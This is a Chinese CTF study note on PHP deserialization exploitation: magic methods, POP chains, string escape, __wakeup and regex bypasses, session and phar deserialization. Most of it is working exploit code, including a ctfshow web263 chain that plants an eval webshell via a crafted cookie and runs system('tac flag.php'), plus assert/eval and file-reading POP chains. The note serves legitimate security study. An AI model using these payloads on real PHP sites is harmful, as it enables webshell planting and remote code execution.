0%

反序列化

反序列化

注意eval需要{;},cat /f*

file_put_contents:把字符串写进文件中,前面是文件名,后面是文件内容

可以人为的写恶意木马,传入一句话木马,再打开木马文件连接蚁剑

file_put_contents(“1.php”,“”); 访问1.php连接代码即可

魔术方法

  • __construct()

在类被初始化的时候触发,当对象被创建时,实例化的时候触发

  • __distruct()析构函数

,当对象被销毁时,在整个php代码运行完的时候出发反序列化以及实例化的时候触发

  • __call

当对象访问一个不存在的方法,或者不可访问的方法时候触发

  • __get

当访问一个私有属性,不存在属性时触发

  • __set

更改对象私有属性值的时候触发,对不存在或者不可访问的变量进⾏赋值就⾃动调⽤

  • __toString

在对象(指实例化类的变量)被当成字符串调用的时候触发//echo print_r serialize

  • __invoke

当一个对象被当成方法(函数)调用的时候触发

例: $text = new User(); $text();

  • __sleep()

序列化之前触发

  • __wakeup()

在反序列化之前php会调用

序列化

serialize()

反序列化

unserialize()

类里面的成员属性要与值对应,靠长度判断内容

:}结束符之后内容不影响反序列化内容

pop链poc编写

字符串逃逸,通过序列化的特性增多或者减少字符串注释掉后面的内容,将所需要的内容写进去

wakeup绕过

属性个数大于真实属性个数时就会绕过,有版本限制

引用

1
2
3
4
5
6
7
8
<?php
class aaa{
var $a;
var $b;
}
$c = new aaa();
$c ->a = &$c ->b;
//通过引用$a和$b就完全一样

session反序列化漏洞

漏洞产生:写入格式和读取格式不一样

ctfshow web263

image.png

扫描目录得到www.zip,下载得到网站源码

代码审计后主要有几个关键区域。

在index.php 我们发现$_SESSION[‘limit’]我们可以进行控制

flag在flag.php处,目测需要rce

1
$flag="flag_here";

inc.php 设置了session的序列化引擎为php,很有可能说明默认使用的是php_serialize

并且inc.php中有一个User类的__destruct含有file_put_contents函数,并且username和password可控,可以进行文件包含geshell

1
2
3
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}

开始构造EXP,生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

$a = new User('1.php', '<?php eval($_POST[Ki1ro]) ?>');
$a->setStatus('成功');
echo base64_encode('|'.serialize($a));
?>

在开发者工具的控制台替换cookie

1
2
3
document.cookie='limit=
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyODoiPD9waHAgZXZhbCgkX1BPU1RbS2kxcm9dKSA/PiI7czo2OiJzdGF0dXMiO3M6Njoi5oiQ5YqfIjt9
'

访问index.php改写$_SESSION[‘limit’]

再访问inc/inc.php触发会话,将shell写入log-1.php

最后访问log-1.php传参获取flag

1
POST Ki1ro=system("tac flag.php")

/[oc]:\d+:/i

OC:正则表达式。正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、及这些特定字符的组合,组成一个“规则字符串”,这个“规则字符串”用来表达对字符串的一种过滤逻辑。

\d: 匹配一个数字字符。等价于 [0-9]。

+: 匹配前面的子表达式一次或多次。例如,’zo+’ 能匹配 “zo” 以及 “zoo”,但不能匹配 “z”。+ 等价于 {1,}。

/i: 表示匹配的时候不区分大小写。

preg_match(‘/^O:\d+/‘)匹配序列化字符串是否是对象字符串开头。

在O:4变成O:+4即可绕过

被waf拦截

序列字符串中表示字符类型的s大写时,会被当成16进制解析.

url编码

编码可以防止不可见字符丢失

数组类的变量赋值

($this->now[$name], $ary[0]);

$c->now=[“YCB1”=>”readfile”]

原生类

就算没有写在类里面也可以调用

SplFileObject(路径),查看文件一行的内容

FilesystemIterator类:用于遍历目录和文件系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
/**
* @Author: hey
* @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
* Have fun and Good luck!!!
*/
error_reporting(0);
class Sakura{
public $apple;
public $strawberry;

function __destruct()//1
{
echo $this -> apple;
}
public function __toString()//2
{
$new = $this -> strawberry;
return $new();//invoke
}

}

class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {//4
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){//3
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;//get
}
}
}

$a= new Sakura;
$b=new Heraclqs();
$c=new E();

$a->apple=$a;
$a->strawberry=$b;
$b->grape=$c;
$b->blueberry='0j=';
$c->SplFileObject='/1_f*';//FilesystemIterator='/'读取根目录文件

var_dump(serialize($a));

字符串逃逸

当我们无法人为上传序列化而是题目后台自动生成时,需要利用字符串逃逸进去

字符串减少[安洵杯 2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

正常的反序列化:a:2:{s:4:”user”;s:5:”guest”;s:8:”function”;s:1:”Y”;},我们需要把”;s:8:”function”;s:1:”Y这一部分给吞掉,在逃逸出来的部分里面写进_SESSION[‘img’],这里一共时23个字符再加上我们编写进去内容后s:1:”Y中的一就会变成两位数,故一共是24个字符,我们需要写8个PHP

传入下面的内容后,后台会把php给吞掉,那就多出来了24个字符,后面的内容就可以逃逸出来把我们在phpinfo里面看到的文件d0g3_flag.phpbase64编码以后的内容赋值给img,后面再多加上一共变量凑够三个(没有因该也可以)形成闭合,即可找到flag真正的位置,再base64编码,就拿到了flag

a:2:{s:4:”user”;s:24:””;s:8:”function”;s:58:”Y”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;s:1:”1”;s:1:”2”;}”;}

payload用POST:_SESSION[“user”] = phpphpphpphpphpphpphpphp&

_SESSION[‘function’]=Y”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;s:1:”1”;s:1:”2”;}

image.png

image.png

image.png

字符串增多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct(){
$this->from = 'm';
$this->msg = 'a';
$this->to = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
}
}
// if(isset($f) && isset($m) && isset($t)){
// $msg = new message($f,$m,$t);
// $umsg = str_replace('fuck', 'loveU', serialize($msg));
// setcookie('msg',base64_encode($umsg));
// echo 'Your message has been sent';
// }
highlight_file(__FILE__);
include('flag.php');

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
// highlight_file(__FILE__);

$a=new message();
$b=serialize($a);
$umsg = str_replace('fuck', 'loveU', $b);
var_dump($umsg);

当匹配到fuck就会被替换成loveU,那么就会多出一个字符,我们先正常的序列化一下得到

O:7:”message”:4:{s:4:”from”;s:1:”m”;s:3:”msg”;s:1:”a”;s:2:”to”;s:4:”loveU”;s:5:”token”;s:4:”user”;}

而根据题目,我们需要把user替换成admin,”;s:5:”token”;s:4:”user”;}一共有27个字符,那么我们只需要给t传入27个fuck,即可逃逸成功,注意,最终标黄色的部分二者的数量保持一致即成功

O:7:”message”:4:{s:4:”from”;s:1:”m”;s:3:”msg”;s:1:”a”;s:2:”to”;s:135:”loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU”;s:5:”token”;s:5:”admin”;}”;s:5:”token”;s:4:”user”;}

故本题payload:?f=a&m=m&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:”token”;s:5:”admin”;}

phar反序列化

$phar->setStub(“GIF89a”.”“);

  • phar文件要能够上传到服务器端。
  • 要有可用的魔术方法作为“跳板”。
  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,

PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发

phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容

————————————————

参考:https://blog.csdn.net/xiaolong22333/article/details/116092578

[SWPUCTF 2022 新生赛]ez_1zpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}

class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}

function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}

class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}

if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}

构造的链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class lt
{
public $impo='hi';
public $md51='QNKCDZO';
public $md52='240610708';
function __construct()
{
$this->impo = new fin();
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}//绕过

}

class fin
{
public $a='assert';
public $url = 'https://www.ctfer.vip';
public $title='eval($_POST[x]);';//或者system(‘cat /flag’);
function fmm()
{
$b = $this->a;
$b($this->title);
}
}

$x=new lt();

$add=serialize($x);
$add1=preg_replace('/3:{s:4/', '4:{s:4', $add);
var_dump($add1);

[FSCTF 2023]ez_php2

1
2
3
4
5
6
7
8
$a=new Ha();
$b=new Rd();
$c=new Er();
$a->start2="11111";
$a->start1=$b;
$a->start=array('POC'=>'1111');
$b->cl=$c;
$c->Flag='ls /';

构造相同变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{

public $b;
public $a;

public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a = new Clazz();
$a->b=&$a->a;//用取地址符直接把变量的地址同步
echo serialize($a);
?>

版本漏洞

当php版本大于7时

O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}==O:1:"B":1:{s:1:"a";O:1:"A":2:{s:4:"code";s:16:"eval($_POST[1]);";}}

可以用于绕过正则

protected和private绕过

绕过的方法:
①:php7.1+反序列化对类属性不敏感,将protected改成public
②:手动将序列化后的形式改为protected或者private的标准形式,结合urlencode和base64编码进行操作


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/vhecfphtcdraqt3u
语雀文档ID: 135177744